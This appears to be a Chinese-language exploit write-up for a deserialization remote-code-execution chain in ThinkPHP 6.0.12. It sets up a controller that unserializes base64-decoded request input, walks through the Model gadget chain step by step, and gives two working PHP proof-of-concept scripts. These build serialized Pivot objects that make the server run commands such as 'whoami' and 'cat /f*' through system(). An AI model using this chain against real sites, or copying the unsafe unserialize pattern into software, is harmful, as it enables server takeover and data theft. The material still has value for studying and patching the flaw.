作者 修订时间
wjlin0 2024-02-23 10:08:42

Thinkphp6.0.12

php 7.4.0

composer create-project topthink/think=6.0.12 tp6

测试代码

  1. 在项目目录下创建一个测试控制器

php think make:controller Test

  1. 在Test控制器 index方法中添加
    public function index()
    {
        if ($a=input('param.a')){
            var_dump(base64_decode($a));
            echo "<br>";
            unserialize(base64_decode($a));
        }
    }

漏洞分析

​ 1.在大佬的文章总结中, 反序列化 一般起点出现在__desturct 和 __wakeup 通过全局搜索 查询满足条件的 在:vendor\topthink\think-orm\src\Model.php(大佬怎么说我怎么写)

image-20220303180420019

  1. 第一个条件 要把 $this->lazySave设置为True

    跟进$this->save(), $this->isEmpty() 只要保证data 不为空就行 $this->trigger('BeforeWrite')) 默认返回为真

public function isEmpty(): bool
{
    return empty($this->data);
}
  1. $this->exists设置为True,跟进 $this -> updateData()

image-20220303181123318

  1. 在 621列 $allowFields = $this->checkAllowFields() 跟进

image-20220303181558066

  1. 继续跟进 565列 $query = $this->db();

image-20220303181719266

  1. 在362行将 $this->table . $this->suffix 拼接在一起,将$this->table 设置为一个对象 触发 __toString

image-20220303181958370

  1. 全局查找__toString 最后在 vendor\topthink\think-orm\src\model\concern\Conversion.php 中找到__toString()(以前版本也是在这里出现漏洞的,反正很好找到)这里是一个代码复用的机制所以不用将$this->table 设置成特定类, 刚好Model抽象类也有用到 use model\concern\Conversion 所以这里直接实例化本身就行

image-20220303183151437

  1. 继续跟进$this->toArray() ,将 $this->data 设置为数据即可进入循环, 在238 中跟进 $key$data的键名

image-20220303183401764

  1. 跟进$this->getAttr($key)

image-20220303183631626

$name 可控不提

$value$this->getData($name)返回值 ,跟进一下

image-20220303183905068

$fieldName 跟进一下

image-20220303183952916

$fieldName 可控, 返回的是 $this->data[$fieldName]

很明显这个$value就是 $this->data的值,

  1. 继续跟进$this->getValue($name, $value, $relation);

image-20220303184253914

第 509 行 ,$fieldName$this->data 键名 ,将this->json 设置成 $this->data的键名,$this->withAttr[$fieldName] 设置成 数组就行

  1. 跟进$this->getJsonValue($fieldName, $value),保证$this->jsonAssoc为真即可,将$this->withAttr的 值设置成你需要执行的函数,而 $this->data的值设置为 需要执行的代码即可

image-20220303185128690

POC

<?php
namespace think{
    abstract class Model{
        private $lazySave;
        private $data;
        protected $table;
        private $withAttr;
        protected $json ;
        protected $jsonAssoc;
        private $exists;
        public function __construct($obj = '')
        {
            $this->lazySave = True;
            $this->exists = True;
            $this->data = ['arr' =>['whoami']];
            $this->table = $obj;
            $this->withAttr = ['arr'=>['system']];
            $this->json = ['arr'];
            $this->jsonAssoc  = True;
        }    
    }
}
namespace think\Model{
    use think\Model;
    class Pivot extends Model{
    }
}

namespace {
    $a = new think\model\Pivot();
    $b = new think\model\Pivot($a);
    echo base64_encode(serialize($b));

}

结果

image-20220303185727488

<?php

namespace think\model\concern;

trait Attribute
{
    private $data = ["key" => ["key1" => "cat /f*"]];
    private $withAttr = ["key"=>["key1"=>"system"]];
    protected $json = ["key"];
}
namespace think;

abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    protected $jsonAssoc;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
        $this->jsonAssoc = true;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

results matching ""

    No results matching ""